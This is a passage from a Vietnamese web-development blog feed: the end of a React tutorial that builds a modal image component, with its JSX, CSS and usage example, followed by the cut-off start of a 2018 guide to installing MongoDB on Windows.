class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>modalElm<span class="token punctuation">.</span>style<span class="token punctuation">.</span>display <span class="token operator">=</span> <span class="token string">"initial"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Ẩn ảnh Modal Image bằng cách set giá trị * cho thuộc tính display của style, * của phần tử đóng vai trò là Modal Image là "none", * để ẩn nó đi */</span> <span class="token function">hideModal</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>modalElm<span class="token punctuation">.</span>style<span class="token punctuation">.</span>display <span class="token operator">=</span> <span class="token string">"none"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * Cập nhật chiều cao cho mỗi ảnh khi thay đổi kích thước màn hình * Trong phần CSS, mình để mỗi ảnh có width = 100%, * Nên dù kéo to hay thu nhỏ thì width vẫn bằng 100% kích thước parent. * Nhưng chiều cao là giá trị tuyệt đối nên phải tính lại, * dựa vào width và tỉ lệ this.ratioWH = width / height */</span> <span class="token function">updateDimensions</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>imageElm<span class="token punctuation">.</span>style<span class="token punctuation">.</span>height <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span> <span class="token keyword">this</span><span class="token punctuation">.</span>imageElm<span class="token punctuation">.</span>offsetWidth <span class="token operator">/</span> <span class="token keyword">this</span><span class="token punctuation">.</span>ratioWH <span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi khi Modal Image đã render lên HTML. * Trong này mình sẽ lưu lại DOM node ứng với các phần tử * + this.rootElm -> toàn bộ component * + this.imageElm -> phiên bản ảnh nhỏ, hiển thị lúc đầu * + this.modalElm -> phiên bản ảnh lớn, modal image * * Tiếp theo, gọi hàm this.updateDimensions() để cập nhật chiều cao * cho ảnh nhỏ ban đầu. * * Và cuối cùng là đăng ký sự kiên resize màn hình, với hàm xử lý * là updateDimensions(). Tức là mỗi khi thay đổi kích thước màn hình * thì sẽ tính lại chiều cao ảnh - đảm bảo tính responsive. */</span> <span class="token function">componentDidMount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rootElm <span class="token operator">=</span> ReactDOM<span class="token punctuation">.</span><span class="token function">findDOMNode</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>imageElm <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rootElm<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".image"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>modalElm <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rootElm<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".modal"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateDimensions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi khi Component bị xóa khỏi HTML. * Lúc này mình phải hủy bỏ sự kiện đã đăng ký lúc trước. */</span> <span class="token function">componentWillUnmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>lp-modal-image<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>image<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>src<span class="token punctuation">}</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>alt<span class="token punctuation">}</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>showModal<span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>modal<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>close<span class="token punctuation">"</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>hideModal<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> × </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>modal-content<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>src<span class="token punctuation">}</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>alt <span class="token operator">+</span> <span class="token string">" modal"</span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>caption<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>alt<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="nội-dung-file-modal-imagecss" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-modal-imagecss" aria-label="nội dung file modal imagecss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file modal-image.css</h3> <p>File này dùng để xác định style cho Modal Image Component. Bạn chú ý là mọi thành phần mình đều để trong class <strong>.lp-modal-image</strong> để đảm bảo không bị xung đột với các component khác (khi kết hợp các component lại với nhau).</p> <p>Ngoài ra, mình sử dụng <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS selector</a> là <strong>></strong>. Với ý nghĩa, ví dụ khi mình dùng <strong>element1 > element2</strong> thì sẽ hiểu style này được áp dụng cho <strong>element2</strong> là con trực tiếp của <strong>element1</strong> mà không phải cháu, chắt,…</p> <div class="gatsby-code-title gatsby-remark-code-title">modal-image.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.lp-modal-image, .lp-modal-image *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-modal-image</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-modal-image > .image</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">object-fit</span><span class="token punctuation">:</span> cover<span class="token punctuation">;</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-modal-image > .image:hover</span> <span class="token punctuation">{</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 0.7<span class="token punctuation">;</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-modal-image > .modal</span> <span class="token punctuation">{</span> <span class="token property">display</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">position</span><span class="token punctuation">:</span> fixed<span class="token punctuation">;</span> <span class="token property">z-index</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token property">padding-top</span><span class="token punctuation">:</span> 100px<span class="token punctuation">;</span> <span class="token property">left</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">top</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">overflow</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">rgb</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.9<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-modal-image > .modal > .modal-content</span> <span class="token punctuation">{</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> block<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 80%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 780px<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-modal-image > .modal > .caption</span> <span class="token punctuation">{</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> block<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 80%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 780px<span class="token punctuation">;</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #ccc<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 10px 0<span class="token punctuation">;</span> <span class="token property">height</span><span class="token punctuation">:</span> 150px<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-modal-image > .modal > .modal-content, .lp-modal-image > .modal > .caption</span> <span class="token punctuation">{</span> <span class="token property">animation-name</span><span class="token punctuation">:</span> zoom<span class="token punctuation">;</span> <span class="token property">animation-duration</span><span class="token punctuation">:</span> 0.6s<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-modal-image > .modal > .close</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">top</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">right</span><span class="token punctuation">:</span> 35px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #f1f1f1<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 40px<span class="token punctuation">;</span> <span class="token property">font-weight</span><span class="token punctuation">:</span> bold<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> color 0.3s<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> color 0.3s<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> color 0.3s<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> color 0.3s<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-modal-image > .modal > .close:hover, .lp-modal-image > .modal > .close:focus</span> <span class="token punctuation">{</span> <span class="token property">color</span><span class="token punctuation">:</span> #bbb<span class="token punctuation">;</span> <span class="token property">text-decoration</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token atrule"><span class="token rule">@keyframes</span> zoom</span> <span class="token punctuation">{</span> <span class="token selector">from</span> <span class="token punctuation">{</span> <span class="token property">transform</span><span class="token punctuation">:</span> <span class="token function">scale</span><span class="token punctuation">(</span>0<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">to</span> <span class="token punctuation">{</span> <span class="token property">transform</span><span class="token punctuation">:</span> <span class="token function">scale</span><span class="token punctuation">(</span>1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token atrule"><span class="token rule">@media</span> <span class="token keyword">only</span> screen <span class="token keyword">and</span> <span class="token punctuation">(</span><span class="token property">max-width</span><span class="token punctuation">:</span> 780px<span class="token punctuation">)</span></span> <span class="token punctuation">{</span> <span class="token selector">.lp-modal-image > .modal > .modal-content</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="sử-dụng-modal-image-component" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-modal-image-component" aria-label="sử dụng modal image component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Modal Image component</h2> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token comment">/* Không thay đổi */</span> <span class="token selector">.App, .App *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.App</span> <span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 780px<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">font</span><span class="token punctuation">:</span> normal normal normal 1rem/1.6 Nunito Sans<span class="token punctuation">,</span> Helvetica<span class="token punctuation">,</span> Arial<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./App.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> ModalImage <span class="token keyword">from</span> <span class="token string">"./components/modal-image/modal-image"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img8 <span class="token keyword">from</span> <span class="token string">"./images/08.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img9 <span class="token keyword">from</span> <span class="token string">"./images/09.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>App<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text">Image Modal</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text">Click the image below to show the modal.</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">style</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">{</span> <span class="token literal-property property">display</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">flex</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">}</span></span> <span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">ModalImage</span></span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>img8<span class="token punctuation">}</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">This is one of beautiful girls</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">ModalImage</span></span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>img9<span class="token punctuation">}</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">This is also one of beautiful girls</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> Made by </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://about.phamvanlam.com/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">Lam Pham</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. Visit me at </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">completejavascript.com</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó, Modal Image Component có các thuộc tính là:</p> <ul> <li><strong>src (<a href="/kieu-du-lieu-trong-javascript/">String</a>):</strong> string biểu diễn đường dẫn ảnh sử dụng.</li> <li><strong>alt (String):</strong> string để gán cho thuộc tính <a href="https://www.w3schools.com/tags/att_img_alt.asp">alt</a> - được hiển thị thay thế cho ảnh, khi ảnh không được tải thành công (vì một lý do nào đó) hoặc không thể hiển thị.</li> <li><strong>ratio (<a href="/kieu-du-lieu-trong-javascript/">String</a>):</strong> string biểu diễn tỉ lệ <strong>width : height</strong>, ví dụ là "3:2". Chú ý là chiều rộng, mình luôn luôn để 100% nên mình chỉ cần truyền vào tỉ lệ này là OK.</li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là kết quả sau khi mình học React qua ví dụ #3 – Modal Image. Nếu bạn thấy hay thì có thể thực hành làm thử và tùy biến theo ý thích của bạn.</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/modal-image/" class="btn btn-primary margin-bottom"> Xem Demo </a> <p>Mình thấy React hay ở chỗ là mình có thể tách code ra thành các component. Nghĩa là khi nào cần mình sẽ lấy ra sử dụng, không cần phải viết lại nữa.</p> <p>Sắp tới mình sẽ tiếp tục chia sẻ với bạn các bài thực hành của mình. Nếu bạn thấy hay hoặc muốn tìm hiểu về <strong>LOẠI COMPONENT</strong> nào thì có thể để lại bình luận phía dưới nhé!</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Cài đặt MongoDB trên Windows mới nhất]]><![CDATA[Bài viết này mình sẽ không đi vào giải thích chi tiết về MongoDB. Mà chỉ đơn giản là sẽ chia sẻ cách cài đặt MongoDB trên Windows mới nhất năm 2018. Nếu bạn muốn biết thêm về…]]>https://completejavascript.com/cai-dat-mongodb-tren-windows-moi-nhat/https://completejavascript.com/cai-dat-mongodb-tren-windows-moi-nhat/<![CDATA[Command Line]]>Sat, 03 Nov 2018 22:30:57 GMT<p>Bài viết này mình sẽ không đi vào giải thích chi tiết về MongoDB. Mà chỉ đơn giản là sẽ chia sẻ cách cài đặt MongoDB trên Windows mới nhất năm 2018.</p> <p>Nếu bạn muốn biết thêm về MongoDB hay NoSQL Database thì có thể tham khảo thêm các bài viết sau đây:</p> <ul> <li><a href="https://toidicodedao.com/2015/09/24/nosql-co-gi-hay-ho-tong-quan-ve-nosql-phan-1/">NoSQL có gì hay ho - tổng quan về NoSQL - phần 1</a></li> <li><a href="https://toidicodedao.com/2015/09/29/nosql-co-gi-hay-ho-tong-quan-ve-nosql-phan-2/">NoSQL có gì hay ho - tổng quan về NoSQL - phần 2</a></li> <li><a href="https://freetuts.net/tong-quan-ve-mongodb-203.html">Bài 01: Tổng quan về MongoDB</a></li> </ul> <p>Còn bây giờ thì bắt đầu nào!</p> <h2 id="các-bước-cài-đặt-mongodb-trên-windows" style="position:relative;"><a href="#c%C3%A1c-b%C6%B0%E1%BB%9Bc-c%C3%A0i-%C4%91%E1%BA%B7t-mongodb-tr%C3%AAn-windows" aria-label="các bước cài đặt mongodb trên windows permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các bước cài đặt MongoDB trên Windows</h2> <h3 id="tải-bản-cài-đặt" style="position:relative;"><a href="#t%E1%BA%A3i-b%E1%BA%A3n-c%C3%A0i-%C4%91%E1%BA%B7t" aria-label="tải bản cài đặt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 